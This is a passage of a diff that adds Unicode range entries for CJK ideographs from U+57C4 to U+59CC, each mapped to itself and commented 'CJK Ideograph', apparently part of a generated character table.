+ ["\u57C4", "\u57C4"], /* CJK Ideograph */
+ ["\u57C5", "\u57C5"], /* CJK Ideograph */
+ ["\u57C6", "\u57C6"], /* CJK Ideograph */
+ ["\u57C7", "\u57C7"], /* CJK Ideograph */
+ ["\u57C8", "\u57C8"], /* CJK Ideograph */
+ ["\u57C9", "\u57C9"], /* CJK Ideograph */
+ ["\u57CA", "\u57CA"], /* CJK Ideograph */
+ ["\u57CB", "\u57CB"], /* CJK Ideograph */
+ ["\u57CC", "\u57CC"], /* CJK Ideograph */
+ ["\u57CD", "\u57CD"], /* CJK Ideograph */
+ ["\u57CE", "\u57CE"], /* CJK Ideograph */
+ ["\u57CF", "\u57CF"], /* CJK Ideograph */
+ ["\u57D0", "\u57D0"], /* CJK Ideograph */
+ ["\u57D1", "\u57D1"], /* CJK Ideograph */
+ ["\u57D2", "\u57D2"], /* CJK Ideograph */
+ ["\u57D3", "\u57D3"], /* CJK Ideograph */
+ ["\u57D4", "\u57D4"], /* CJK Ideograph */
+ ["\u57D5", "\u57D5"], /* CJK Ideograph */
+ ["\u57D6", "\u57D6"], /* CJK Ideograph */
+ ["\u57D7", "\u57D7"], /* CJK Ideograph */
+ ["\u57D8", "\u57D8"], /* CJK Ideograph */
+ ["\u57D9", "\u57D9"], /* CJK Ideograph */
+ ["\u57DA", "\u57DA"], /* CJK Ideograph */
+ ["\u57DB", "\u57DB"], /* CJK Ideograph */
+ ["\u57DC", "\u57DC"], /* CJK Ideograph */
+ ["\u57DD", "\u57DD"], /* CJK Ideograph */
+ ["\u57DE", "\u57DE"], /* CJK Ideograph */
+ ["\u57DF", "\u57DF"], /* CJK Ideograph */
+ ["\u57E0", "\u57E0"], /* CJK Ideograph */
+ ["\u57E1", "\u57E1"], /* CJK Ideograph */
+ ["\u57E2", "\u57E2"], /* CJK Ideograph */
+ ["\u57E3", "\u57E3"], /* CJK Ideograph */
+ ["\u57E4", "\u57E4"], /* CJK Ideograph */
+ ["\u57E5", "\u57E5"], /* CJK Ideograph */
+ ["\u57E6", "\u57E6"], /* CJK Ideograph */
+ ["\u57E7", "\u57E7"], /* CJK Ideograph */
+ ["\u57E8", "\u57E8"], /* CJK Ideograph */
+ ["\u57E9", "\u57E9"], /* CJK Ideograph */
+ ["\u57EA", "\u57EA"], /* CJK Ideograph */
+ ["\u57EB", "\u57EB"], /* CJK Ideograph */
+ ["\u57EC", "\u57EC"], /* CJK Ideograph */
+ ["\u57ED", "\u57ED"], /* CJK Ideograph */
+ ["\u57EE", "\u57EE"], /* CJK Ideograph */
+ ["\u57EF", "\u57EF"], /* CJK Ideograph */
+ ["\u57F0", "\u57F0"], /* CJK Ideograph */
+ ["\u57F1", "\u57F1"], /* CJK Ideograph */
+ ["\u57F2", "\u57F2"], /* CJK Ideograph */
+ ["\u57F3", "\u57F3"], /* CJK Ideograph */
+ ["\u57F4", "\u57F4"], /* CJK Ideograph */
+ ["\u57F5", "\u57F5"], /* CJK Ideograph */
+ ["\u57F6", "\u57F6"], /* CJK Ideograph */
+ ["\u57F7", "\u57F7"], /* CJK Ideograph */
+ ["\u57F8", "\u57F8"], /* CJK Ideograph */
+ ["\u57F9", "\u57F9"], /* CJK Ideograph */
+ ["\u57FA", "\u57FA"], /* CJK Ideograph */
+ ["\u57FB", "\u57FB"], /* CJK Ideograph */
+ ["\u57FC", "\u57FC"], /* CJK Ideograph */
+ ["\u57FD", "\u57FD"], /* CJK Ideograph */
+ ["\u57FE", "\u57FE"], /* CJK Ideograph */
+ ["\u57FF", "\u57FF"], /* CJK Ideograph */
+ ["\u5800", "\u5800"], /* CJK Ideograph */
+ ["\u5801", "\u5801"], /* CJK Ideograph */
+ ["\u5802", "\u5802"], /* CJK Ideograph */
+ ["\u5803", "\u5803"], /* CJK Ideograph */
+ ["\u5804", "\u5804"], /* CJK Ideograph */
+ ["\u5805", "\u5805"], /* CJK Ideograph */
+ ["\u5806", "\u5806"], /* CJK Ideograph */
+ ["\u5807", "\u5807"], /* CJK Ideograph */
+ ["\u5808", "\u5808"], /* CJK Ideograph */
+ ["\u5809", "\u5809"], /* CJK Ideograph */
+ ["\u580A", "\u580A"], /* CJK Ideograph */
+ ["\u580B", "\u580B"], /* CJK Ideograph */
+ ["\u580C", "\u580C"], /* CJK Ideograph */
+ ["\u580D", "\u580D"], /* CJK Ideograph */
+ ["\u580E", "\u580E"], /* CJK Ideograph */
+ ["\u580F", "\u580F"], /* CJK Ideograph */
+ ["\u5810", "\u5810"], /* CJK Ideograph */
+ ["\u5811", "\u5811"], /* CJK Ideograph */
+ ["\u5812", "\u5812"], /* CJK Ideograph */
+ ["\u5813", "\u5813"], /* CJK Ideograph */
+ ["\u5814", "\u5814"], /* CJK Ideograph */
+ ["\u5815", "\u5815"], /* CJK Ideograph */
+ ["\u5816", "\u5816"], /* CJK Ideograph */
+ ["\u5817", "\u5817"], /* CJK Ideograph */
+ ["\u5818", "\u5818"], /* CJK Ideograph */
+ ["\u5819", "\u5819"], /* CJK Ideograph */
+ ["\u581A", "\u581A"], /* CJK Ideograph */
+ ["\u581B", "\u581B"], /* CJK Ideograph */
+ ["\u581C", "\u581C"], /* CJK Ideograph */
+ ["\u581D", "\u581D"], /* CJK Ideograph */
+ ["\u581E", "\u581E"], /* CJK Ideograph */
+ ["\u581F", "\u581F"], /* CJK Ideograph */
+ ["\u5820", "\u5820"], /* CJK Ideograph */
+ ["\u5821", "\u5821"], /* CJK Ideograph */
+ ["\u5822", "\u5822"], /* CJK Ideograph */
+ ["\u5823", "\u5823"], /* CJK Ideograph */
+ ["\u5824", "\u5824"], /* CJK Ideograph */
+ ["\u5825", "\u5825"], /* CJK Ideograph */
+ ["\u5826", "\u5826"], /* CJK Ideograph */
+ ["\u5827", "\u5827"], /* CJK Ideograph */
+ ["\u5828", "\u5828"], /* CJK Ideograph */
+ ["\u5829", "\u5829"], /* CJK Ideograph */
+ ["\u582A", "\u582A"], /* CJK Ideograph */
+ ["\u582B", "\u582B"], /* CJK Ideograph */
+ ["\u582C", "\u582C"], /* CJK Ideograph */
+ ["\u582D", "\u582D"], /* CJK Ideograph */
+ ["\u582E", "\u582E"], /* CJK Ideograph */
+ ["\u582F", "\u582F"], /* CJK Ideograph */
+ ["\u5830", "\u5830"], /* CJK Ideograph */
+ ["\u5831", "\u5831"], /* CJK Ideograph */
+ ["\u5832", "\u5832"], /* CJK Ideograph */
+ ["\u5833", "\u5833"], /* CJK Ideograph */
+ ["\u5834", "\u5834"], /* CJK Ideograph */
+ ["\u5835", "\u5835"], /* CJK Ideograph */
+ ["\u5836", "\u5836"], /* CJK Ideograph */
+ ["\u5837", "\u5837"], /* CJK Ideograph */
+ ["\u5838", "\u5838"], /* CJK Ideograph */
+ ["\u5839", "\u5839"], /* CJK Ideograph */
+ ["\u583A", "\u583A"], /* CJK Ideograph */
+ ["\u583B", "\u583B"], /* CJK Ideograph */
+ ["\u583C", "\u583C"], /* CJK Ideograph */
+ ["\u583D", "\u583D"], /* CJK Ideograph */
+ ["\u583E", "\u583E"], /* CJK Ideograph */
+ ["\u583F", "\u583F"], /* CJK Ideograph */
+ ["\u5840", "\u5840"], /* CJK Ideograph */
+ ["\u5841", "\u5841"], /* CJK Ideograph */
+ ["\u5842", "\u5842"], /* CJK Ideograph */
+ ["\u5843", "\u5843"], /* CJK Ideograph */
+ ["\u5844", "\u5844"], /* CJK Ideograph */
+ ["\u5845", "\u5845"], /* CJK Ideograph */
+ ["\u5846", "\u5846"], /* CJK Ideograph */
+ ["\u5847", "\u5847"], /* CJK Ideograph */
+ ["\u5848", "\u5848"], /* CJK Ideograph */
+ ["\u5849", "\u5849"], /* CJK Ideograph */
+ ["\u584A", "\u584A"], /* CJK Ideograph */
+ ["\u584B", "\u584B"], /* CJK Ideograph */
+ ["\u584C", "\u584C"], /* CJK Ideograph */
+ ["\u584D", "\u584D"], /* CJK Ideograph */
+ ["\u584E", "\u584E"], /* CJK Ideograph */
+ ["\u584F", "\u584F"], /* CJK Ideograph */
+ ["\u5850", "\u5850"], /* CJK Ideograph */
+ ["\u5851", "\u5851"], /* CJK Ideograph */
+ ["\u5852", "\u5852"], /* CJK Ideograph */
+ ["\u5853", "\u5853"], /* CJK Ideograph */
+ ["\u5854", "\u5854"], /* CJK Ideograph */
+ ["\u5855", "\u5855"], /* CJK Ideograph */
+ ["\u5856", "\u5856"], /* CJK Ideograph */
+ ["\u5857", "\u5857"], /* CJK Ideograph */
+ ["\u5858", "\u5858"], /* CJK Ideograph */
+ ["\u5859", "\u5859"], /* CJK Ideograph */
+ ["\u585A", "\u585A"], /* CJK Ideograph */
+ ["\u585B", "\u585B"], /* CJK Ideograph */
+ ["\u585C", "\u585C"], /* CJK Ideograph */
+ ["\u585D", "\u585D"], /* CJK Ideograph */
+ ["\u585E", "\u585E"], /* CJK Ideograph */
+ ["\u585F", "\u585F"], /* CJK Ideograph */
+ ["\u5860", "\u5860"], /* CJK Ideograph */
+ ["\u5861", "\u5861"], /* CJK Ideograph */
+ ["\u5862", "\u5862"], /* CJK Ideograph */
+ ["\u5863", "\u5863"], /* CJK Ideograph */
+ ["\u5864", "\u5864"], /* CJK Ideograph */
+ ["\u5865", "\u5865"], /* CJK Ideograph */
+ ["\u5866", "\u5866"], /* CJK Ideograph */
+ ["\u5867", "\u5867"], /* CJK Ideograph */
+ ["\u5868", "\u5868"], /* CJK Ideograph */
+ ["\u5869", "\u5869"], /* CJK Ideograph */
+ ["\u586A", "\u586A"], /* CJK Ideograph */
+ ["\u586B", "\u586B"], /* CJK Ideograph */
+ ["\u586C", "\u586C"], /* CJK Ideograph */
+ ["\u586D", "\u586D"], /* CJK Ideograph */
+ ["\u586E", "\u586E"], /* CJK Ideograph */
+ ["\u586F", "\u586F"], /* CJK Ideograph */
+ ["\u5870", "\u5870"], /* CJK Ideograph */
+ ["\u5871", "\u5871"], /* CJK Ideograph */
+ ["\u5872", "\u5872"], /* CJK Ideograph */
+ ["\u5873", "\u5873"], /* CJK Ideograph */
+ ["\u5874", "\u5874"], /* CJK Ideograph */
+ ["\u5875", "\u5875"], /* CJK Ideograph */
+ ["\u5876", "\u5876"], /* CJK Ideograph */
+ ["\u5877", "\u5877"], /* CJK Ideograph */
+ ["\u5878", "\u5878"], /* CJK Ideograph */
+ ["\u5879", "\u5879"], /* CJK Ideograph */
+ ["\u587A", "\u587A"], /* CJK Ideograph */
+ ["\u587B", "\u587B"], /* CJK Ideograph */
+ ["\u587C", "\u587C"], /* CJK Ideograph */
+ ["\u587D", "\u587D"], /* CJK Ideograph */
+ ["\u587E", "\u587E"], /* CJK Ideograph */
+ ["\u587F", "\u587F"], /* CJK Ideograph */
+ ["\u5880", "\u5880"], /* CJK Ideograph */
+ ["\u5881", "\u5881"], /* CJK Ideograph */
+ ["\u5882", "\u5882"], /* CJK Ideograph */
+ ["\u5883", "\u5883"], /* CJK Ideograph */
+ ["\u5884", "\u5884"], /* CJK Ideograph */
+ ["\u5885", "\u5885"], /* CJK Ideograph */
+ ["\u5886", "\u5886"], /* CJK Ideograph */
+ ["\u5887", "\u5887"], /* CJK Ideograph */
+ ["\u5888", "\u5888"], /* CJK Ideograph */
+ ["\u5889", "\u5889"], /* CJK Ideograph */
+ ["\u588A", "\u588A"], /* CJK Ideograph */
+ ["\u588B", "\u588B"], /* CJK Ideograph */
+ ["\u588C", "\u588C"], /* CJK Ideograph */
+ ["\u588D", "\u588D"], /* CJK Ideograph */
+ ["\u588E", "\u588E"], /* CJK Ideograph */
+ ["\u588F", "\u588F"], /* CJK Ideograph */
+ ["\u5890", "\u5890"], /* CJK Ideograph */
+ ["\u5891", "\u5891"], /* CJK Ideograph */
+ ["\u5892", "\u5892"], /* CJK Ideograph */
+ ["\u5893", "\u5893"], /* CJK Ideograph */
+ ["\u5894", "\u5894"], /* CJK Ideograph */
+ ["\u5895", "\u5895"], /* CJK Ideograph */
+ ["\u5896", "\u5896"], /* CJK Ideograph */
+ ["\u5897", "\u5897"], /* CJK Ideograph */
+ ["\u5898", "\u5898"], /* CJK Ideograph */
+ ["\u5899", "\u5899"], /* CJK Ideograph */
+ ["\u589A", "\u589A"], /* CJK Ideograph */
+ ["\u589B", "\u589B"], /* CJK Ideograph */
+ ["\u589C", "\u589C"], /* CJK Ideograph */
+ ["\u589D", "\u589D"], /* CJK Ideograph */
+ ["\u589E", "\u589E"], /* CJK Ideograph */
+ ["\u589F", "\u589F"], /* CJK Ideograph */
+ ["\u58A0", "\u58A0"], /* CJK Ideograph */
+ ["\u58A1", "\u58A1"], /* CJK Ideograph */
+ ["\u58A2", "\u58A2"], /* CJK Ideograph */
+ ["\u58A3", "\u58A3"], /* CJK Ideograph */
+ ["\u58A4", "\u58A4"], /* CJK Ideograph */
+ ["\u58A5", "\u58A5"], /* CJK Ideograph */
+ ["\u58A6", "\u58A6"], /* CJK Ideograph */
+ ["\u58A7", "\u58A7"], /* CJK Ideograph */
+ ["\u58A8", "\u58A8"], /* CJK Ideograph */
+ ["\u58A9", "\u58A9"], /* CJK Ideograph */
+ ["\u58AA", "\u58AA"], /* CJK Ideograph */
+ ["\u58AB", "\u58AB"], /* CJK Ideograph */
+ ["\u58AC", "\u58AC"], /* CJK Ideograph */
+ ["\u58AD", "\u58AD"], /* CJK Ideograph */
+ ["\u58AE", "\u58AE"], /* CJK Ideograph */
+ ["\u58AF", "\u58AF"], /* CJK Ideograph */
+ ["\u58B0", "\u58B0"], /* CJK Ideograph */
+ ["\u58B1", "\u58B1"], /* CJK Ideograph */
+ ["\u58B2", "\u58B2"], /* CJK Ideograph */
+ ["\u58B3", "\u58B3"], /* CJK Ideograph */
+ ["\u58B4", "\u58B4"], /* CJK Ideograph */
+ ["\u58B5", "\u58B5"], /* CJK Ideograph */
+ ["\u58B6", "\u58B6"], /* CJK Ideograph */
+ ["\u58B7", "\u58B7"], /* CJK Ideograph */
+ ["\u58B8", "\u58B8"], /* CJK Ideograph */
+ ["\u58B9", "\u58B9"], /* CJK Ideograph */
+ ["\u58BA", "\u58BA"], /* CJK Ideograph */
+ ["\u58BB", "\u58BB"], /* CJK Ideograph */
+ ["\u58BC", "\u58BC"], /* CJK Ideograph */
+ ["\u58BD", "\u58BD"], /* CJK Ideograph */
+ ["\u58BE", "\u58BE"], /* CJK Ideograph */
+ ["\u58BF", "\u58BF"], /* CJK Ideograph */
+ ["\u58C0", "\u58C0"], /* CJK Ideograph */
+ ["\u58C1", "\u58C1"], /* CJK Ideograph */
+ ["\u58C2", "\u58C2"], /* CJK Ideograph */
+ ["\u58C3", "\u58C3"], /* CJK Ideograph */
+ ["\u58C4", "\u58C4"], /* CJK Ideograph */
+ ["\u58C5", "\u58C5"], /* CJK Ideograph */
+ ["\u58C6", "\u58C6"], /* CJK Ideograph */
+ ["\u58C7", "\u58C7"], /* CJK Ideograph */
+ ["\u58C8", "\u58C8"], /* CJK Ideograph */
+ ["\u58C9", "\u58C9"], /* CJK Ideograph */
+ ["\u58CA", "\u58CA"], /* CJK Ideograph */
+ ["\u58CB", "\u58CB"], /* CJK Ideograph */
+ ["\u58CC", "\u58CC"], /* CJK Ideograph */
+ ["\u58CD", "\u58CD"], /* CJK Ideograph */
+ ["\u58CE", "\u58CE"], /* CJK Ideograph */
+ ["\u58CF", "\u58CF"], /* CJK Ideograph */
+ ["\u58D0", "\u58D0"], /* CJK Ideograph */
+ ["\u58D1", "\u58D1"], /* CJK Ideograph */
+ ["\u58D2", "\u58D2"], /* CJK Ideograph */
+ ["\u58D3", "\u58D3"], /* CJK Ideograph */
+ ["\u58D4", "\u58D4"], /* CJK Ideograph */
+ ["\u58D5", "\u58D5"], /* CJK Ideograph */
+ ["\u58D6", "\u58D6"], /* CJK Ideograph */
+ ["\u58D7", "\u58D7"], /* CJK Ideograph */
+ ["\u58D8", "\u58D8"], /* CJK Ideograph */
+ ["\u58D9", "\u58D9"], /* CJK Ideograph */
+ ["\u58DA", "\u58DA"], /* CJK Ideograph */
+ ["\u58DB", "\u58DB"], /* CJK Ideograph */
+ ["\u58DC", "\u58DC"], /* CJK Ideograph */
+ ["\u58DD", "\u58DD"], /* CJK Ideograph */
+ ["\u58DE", "\u58DE"], /* CJK Ideograph */
+ ["\u58DF", "\u58DF"], /* CJK Ideograph */
+ ["\u58E0", "\u58E0"], /* CJK Ideograph */
+ ["\u58E1", "\u58E1"], /* CJK Ideograph */
+ ["\u58E2", "\u58E2"], /* CJK Ideograph */
+ ["\u58E3", "\u58E3"], /* CJK Ideograph */
+ ["\u58E4", "\u58E4"], /* CJK Ideograph */
+ ["\u58E5", "\u58E5"], /* CJK Ideograph */
+ ["\u58E6", "\u58E6"], /* CJK Ideograph */
+ ["\u58E7", "\u58E7"], /* CJK Ideograph */
+ ["\u58E8", "\u58E8"], /* CJK Ideograph */
+ ["\u58E9", "\u58E9"], /* CJK Ideograph */
+ ["\u58EA", "\u58EA"], /* CJK Ideograph */
+ ["\u58EB", "\u58EB"], /* CJK Ideograph */
+ ["\u58EC", "\u58EC"], /* CJK Ideograph */
+ ["\u58ED", "\u58ED"], /* CJK Ideograph */
+ ["\u58EE", "\u58EE"], /* CJK Ideograph */
+ ["\u58EF", "\u58EF"], /* CJK Ideograph */
+ ["\u58F0", "\u58F0"], /* CJK Ideograph */
+ ["\u58F1", "\u58F1"], /* CJK Ideograph */
+ ["\u58F2", "\u58F2"], /* CJK Ideograph */
+ ["\u58F3", "\u58F3"], /* CJK Ideograph */
+ ["\u58F4", "\u58F4"], /* CJK Ideograph */
+ ["\u58F5", "\u58F5"], /* CJK Ideograph */
+ ["\u58F6", "\u58F6"], /* CJK Ideograph */
+ ["\u58F7", "\u58F7"], /* CJK Ideograph */
+ ["\u58F8", "\u58F8"], /* CJK Ideograph */
+ ["\u58F9", "\u58F9"], /* CJK Ideograph */
+ ["\u58FA", "\u58FA"], /* CJK Ideograph */
+ ["\u58FB", "\u58FB"], /* CJK Ideograph */
+ ["\u58FC", "\u58FC"], /* CJK Ideograph */
+ ["\u58FD", "\u58FD"], /* CJK Ideograph */
+ ["\u58FE", "\u58FE"], /* CJK Ideograph */
+ ["\u58FF", "\u58FF"], /* CJK Ideograph */
+ ["\u5900", "\u5900"], /* CJK Ideograph */
+ ["\u5901", "\u5901"], /* CJK Ideograph */
+ ["\u5902", "\u5902"], /* CJK Ideograph */
+ ["\u5903", "\u5903"], /* CJK Ideograph */
+ ["\u5904", "\u5904"], /* CJK Ideograph */
+ ["\u5905", "\u5905"], /* CJK Ideograph */
+ ["\u5906", "\u5906"], /* CJK Ideograph */
+ ["\u5907", "\u5907"], /* CJK Ideograph */
+ ["\u5908", "\u5908"], /* CJK Ideograph */
+ ["\u5909", "\u5909"], /* CJK Ideograph */
+ ["\u590A", "\u590A"], /* CJK Ideograph */
+ ["\u590B", "\u590B"], /* CJK Ideograph */
+ ["\u590C", "\u590C"], /* CJK Ideograph */
+ ["\u590D", "\u590D"], /* CJK Ideograph */
+ ["\u590E", "\u590E"], /* CJK Ideograph */
+ ["\u590F", "\u590F"], /* CJK Ideograph */
+ ["\u5910", "\u5910"], /* CJK Ideograph */
+ ["\u5911", "\u5911"], /* CJK Ideograph */
+ ["\u5912", "\u5912"], /* CJK Ideograph */
+ ["\u5913", "\u5913"], /* CJK Ideograph */
+ ["\u5914", "\u5914"], /* CJK Ideograph */
+ ["\u5915", "\u5915"], /* CJK Ideograph */
+ ["\u5916", "\u5916"], /* CJK Ideograph */
+ ["\u5917", "\u5917"], /* CJK Ideograph */
+ ["\u5918", "\u5918"], /* CJK Ideograph */
+ ["\u5919", "\u5919"], /* CJK Ideograph */
+ ["\u591A", "\u591A"], /* CJK Ideograph */
+ ["\u591B", "\u591B"], /* CJK Ideograph */
+ ["\u591C", "\u591C"], /* CJK Ideograph */
+ ["\u591D", "\u591D"], /* CJK Ideograph */
+ ["\u591E", "\u591E"], /* CJK Ideograph */
+ ["\u591F", "\u591F"], /* CJK Ideograph */
+ ["\u5920", "\u5920"], /* CJK Ideograph */
+ ["\u5921", "\u5921"], /* CJK Ideograph */
+ ["\u5922", "\u5922"], /* CJK Ideograph */
+ ["\u5923", "\u5923"], /* CJK Ideograph */
+ ["\u5924", "\u5924"], /* CJK Ideograph */
+ ["\u5925", "\u5925"], /* CJK Ideograph */
+ ["\u5926", "\u5926"], /* CJK Ideograph */
+ ["\u5927", "\u5927"], /* CJK Ideograph */
+ ["\u5928", "\u5928"], /* CJK Ideograph */
+ ["\u5929", "\u5929"], /* CJK Ideograph */
+ ["\u592A", "\u592A"], /* CJK Ideograph */
+ ["\u592B", "\u592B"], /* CJK Ideograph */
+ ["\u592C", "\u592C"], /* CJK Ideograph */
+ ["\u592D", "\u592D"], /* CJK Ideograph */
+ ["\u592E", "\u592E"], /* CJK Ideograph */
+ ["\u592F", "\u592F"], /* CJK Ideograph */
+ ["\u5930", "\u5930"], /* CJK Ideograph */
+ ["\u5931", "\u5931"], /* CJK Ideograph */
+ ["\u5932", "\u5932"], /* CJK Ideograph */
+ ["\u5933", "\u5933"], /* CJK Ideograph */
+ ["\u5934", "\u5934"], /* CJK Ideograph */
+ ["\u5935", "\u5935"], /* CJK Ideograph */
+ ["\u5936", "\u5936"], /* CJK Ideograph */
+ ["\u5937", "\u5937"], /* CJK Ideograph */
+ ["\u5938", "\u5938"], /* CJK Ideograph */
+ ["\u5939", "\u5939"], /* CJK Ideograph */
+ ["\u593A", "\u593A"], /* CJK Ideograph */
+ ["\u593B", "\u593B"], /* CJK Ideograph */
+ ["\u593C", "\u593C"], /* CJK Ideograph */
+ ["\u593D", "\u593D"], /* CJK Ideograph */
+ ["\u593E", "\u593E"], /* CJK Ideograph */
+ ["\u593F", "\u593F"], /* CJK Ideograph */
+ ["\u5940", "\u5940"], /* CJK Ideograph */
+ ["\u5941", "\u5941"], /* CJK Ideograph */
+ ["\u5942", "\u5942"], /* CJK Ideograph */
+ ["\u5943", "\u5943"], /* CJK Ideograph */
+ ["\u5944", "\u5944"], /* CJK Ideograph */
+ ["\u5945", "\u5945"], /* CJK Ideograph */
+ ["\u5946", "\u5946"], /* CJK Ideograph */
+ ["\u5947", "\u5947"], /* CJK Ideograph */
+ ["\u5948", "\u5948"], /* CJK Ideograph */
+ ["\u5949", "\u5949"], /* CJK Ideograph */
+ ["\u594A", "\u594A"], /* CJK Ideograph */
+ ["\u594B", "\u594B"], /* CJK Ideograph */
+ ["\u594C", "\u594C"], /* CJK Ideograph */
+ ["\u594D", "\u594D"], /* CJK Ideograph */
+ ["\u594E", "\u594E"], /* CJK Ideograph */
+ ["\u594F", "\u594F"], /* CJK Ideograph */
+ ["\u5950", "\u5950"], /* CJK Ideograph */
+ ["\u5951", "\u5951"], /* CJK Ideograph */
+ ["\u5952", "\u5952"], /* CJK Ideograph */
+ ["\u5953", "\u5953"], /* CJK Ideograph */
+ ["\u5954", "\u5954"], /* CJK Ideograph */
+ ["\u5955", "\u5955"], /* CJK Ideograph */
+ ["\u5956", "\u5956"], /* CJK Ideograph */
+ ["\u5957", "\u5957"], /* CJK Ideograph */
+ ["\u5958", "\u5958"], /* CJK Ideograph */
+ ["\u5959", "\u5959"], /* CJK Ideograph */
+ ["\u595A", "\u595A"], /* CJK Ideograph */
+ ["\u595B", "\u595B"], /* CJK Ideograph */
+ ["\u595C", "\u595C"], /* CJK Ideograph */
+ ["\u595D", "\u595D"], /* CJK Ideograph */
+ ["\u595E", "\u595E"], /* CJK Ideograph */
+ ["\u595F", "\u595F"], /* CJK Ideograph */
+ ["\u5960", "\u5960"], /* CJK Ideograph */
+ ["\u5961", "\u5961"], /* CJK Ideograph */
+ ["\u5962", "\u5962"], /* CJK Ideograph */
+ ["\u5963", "\u5963"], /* CJK Ideograph */
+ ["\u5964", "\u5964"], /* CJK Ideograph */
+ ["\u5965", "\u5965"], /* CJK Ideograph */
+ ["\u5966", "\u5966"], /* CJK Ideograph */
+ ["\u5967", "\u5967"], /* CJK Ideograph */
+ ["\u5968", "\u5968"], /* CJK Ideograph */
+ ["\u5969", "\u5969"], /* CJK Ideograph */
+ ["\u596A", "\u596A"], /* CJK Ideograph */
+ ["\u596B", "\u596B"], /* CJK Ideograph */
+ ["\u596C", "\u596C"], /* CJK Ideograph */
+ ["\u596D", "\u596D"], /* CJK Ideograph */
+ ["\u596E", "\u596E"], /* CJK Ideograph */
+ ["\u596F", "\u596F"], /* CJK Ideograph */
+ ["\u5970", "\u5970"], /* CJK Ideograph */
+ ["\u5971", "\u5971"], /* CJK Ideograph */
+ ["\u5972", "\u5972"], /* CJK Ideograph */
+ ["\u5973", "\u5973"], /* CJK Ideograph */
+ ["\u5974", "\u5974"], /* CJK Ideograph */
+ ["\u5975", "\u5975"], /* CJK Ideograph */
+ ["\u5976", "\u5976"], /* CJK Ideograph */
+ ["\u5977", "\u5977"], /* CJK Ideograph */
+ ["\u5978", "\u5978"], /* CJK Ideograph */
+ ["\u5979", "\u5979"], /* CJK Ideograph */
+ ["\u597A", "\u597A"], /* CJK Ideograph */
+ ["\u597B", "\u597B"], /* CJK Ideograph */
+ ["\u597C", "\u597C"], /* CJK Ideograph */
+ ["\u597D", "\u597D"], /* CJK Ideograph */
+ ["\u597E", "\u597E"], /* CJK Ideograph */
+ ["\u597F", "\u597F"], /* CJK Ideograph */
+ ["\u5980", "\u5980"], /* CJK Ideograph */
+ ["\u5981", "\u5981"], /* CJK Ideograph */
+ ["\u5982", "\u5982"], /* CJK Ideograph */
+ ["\u5983", "\u5983"], /* CJK Ideograph */
+ ["\u5984", "\u5984"], /* CJK Ideograph */
+ ["\u5985", "\u5985"], /* CJK Ideograph */
+ ["\u5986", "\u5986"], /* CJK Ideograph */
+ ["\u5987", "\u5987"], /* CJK Ideograph */
+ ["\u5988", "\u5988"], /* CJK Ideograph */
+ ["\u5989", "\u5989"], /* CJK Ideograph */
+ ["\u598A", "\u598A"], /* CJK Ideograph */
+ ["\u598B", "\u598B"], /* CJK Ideograph */
+ ["\u598C", "\u598C"], /* CJK Ideograph */
+ ["\u598D", "\u598D"], /* CJK Ideograph */
+ ["\u598E", "\u598E"], /* CJK Ideograph */
+ ["\u598F", "\u598F"], /* CJK Ideograph */
+ ["\u5990", "\u5990"], /* CJK Ideograph */
+ ["\u5991", "\u5991"], /* CJK Ideograph */
+ ["\u5992", "\u5992"], /* CJK Ideograph */
+ ["\u5993", "\u5993"], /* CJK Ideograph */
+ ["\u5994", "\u5994"], /* CJK Ideograph */
+ ["\u5995", "\u5995"], /* CJK Ideograph */
+ ["\u5996", "\u5996"], /* CJK Ideograph */
+ ["\u5997", "\u5997"], /* CJK Ideograph */
+ ["\u5998", "\u5998"], /* CJK Ideograph */
+ ["\u5999", "\u5999"], /* CJK Ideograph */
+ ["\u599A", "\u599A"], /* CJK Ideograph */
+ ["\u599B", "\u599B"], /* CJK Ideograph */
+ ["\u599C", "\u599C"], /* CJK Ideograph */
+ ["\u599D", "\u599D"], /* CJK Ideograph */
+ ["\u599E", "\u599E"], /* CJK Ideograph */
+ ["\u599F", "\u599F"], /* CJK Ideograph */
+ ["\u59A0", "\u59A0"], /* CJK Ideograph */
+ ["\u59A1", "\u59A1"], /* CJK Ideograph */
+ ["\u59A2", "\u59A2"], /* CJK Ideograph */
+ ["\u59A3", "\u59A3"], /* CJK Ideograph */
+ ["\u59A4", "\u59A4"], /* CJK Ideograph */
+ ["\u59A5", "\u59A5"], /* CJK Ideograph */
+ ["\u59A6", "\u59A6"], /* CJK Ideograph */
+ ["\u59A7", "\u59A7"], /* CJK Ideograph */
+ ["\u59A8", "\u59A8"], /* CJK Ideograph */
+ ["\u59A9", "\u59A9"], /* CJK Ideograph */
+ ["\u59AA", "\u59AA"], /* CJK Ideograph */
+ ["\u59AB", "\u59AB"], /* CJK Ideograph */
+ ["\u59AC", "\u59AC"], /* CJK Ideograph */
+ ["\u59AD", "\u59AD"], /* CJK Ideograph */
+ ["\u59AE", "\u59AE"], /* CJK Ideograph */
+ ["\u59AF", "\u59AF"], /* CJK Ideograph */
+ ["\u59B0", "\u59B0"], /* CJK Ideograph */
+ ["\u59B1", "\u59B1"], /* CJK Ideograph */
+ ["\u59B2", "\u59B2"], /* CJK Ideograph */
+ ["\u59B3", "\u59B3"], /* CJK Ideograph */
+ ["\u59B4", "\u59B4"], /* CJK Ideograph */
+ ["\u59B5", "\u59B5"], /* CJK Ideograph */
+ ["\u59B6", "\u59B6"], /* CJK Ideograph */
+ ["\u59B7", "\u59B7"], /* CJK Ideograph */
+ ["\u59B8", "\u59B8"], /* CJK Ideograph */
+ ["\u59B9", "\u59B9"], /* CJK Ideograph */
+ ["\u59BA", "\u59BA"], /* CJK Ideograph */
+ ["\u59BB", "\u59BB"], /* CJK Ideograph */
+ ["\u59BC", "\u59BC"], /* CJK Ideograph */
+ ["\u59BD", "\u59BD"], /* CJK Ideograph */
+ ["\u59BE", "\u59BE"], /* CJK Ideograph */
+ ["\u59BF", "\u59BF"], /* CJK Ideograph */
+ ["\u59C0", "\u59C0"], /* CJK Ideograph */
+ ["\u59C1", "\u59C1"], /* CJK Ideograph */
+ ["\u59C2", "\u59C2"], /* CJK Ideograph */
+ ["\u59C3", "\u59C3"], /* CJK Ideograph */
+ ["\u59C4", "\u59C4"], /* CJK Ideograph */
+ ["\u59C5", "\u59C5"], /* CJK Ideograph */
+ ["\u59C6", "\u59C6"], /* CJK Ideograph */
+ ["\u59C7", "\u59C7"], /* CJK Ideograph */
+ ["\u59C8", "\u59C8"], /* CJK Ideograph */
+ ["\u59C9", "\u59C9"], /* CJK Ideograph */
+ ["\u59CA", "\u59CA"], /* CJK Ideograph */
+ ["\u59CB", "\u59CB"], /* CJK Ideograph */
+ ["\u59CC", "\u59CC"], /* CJK Ideograph */
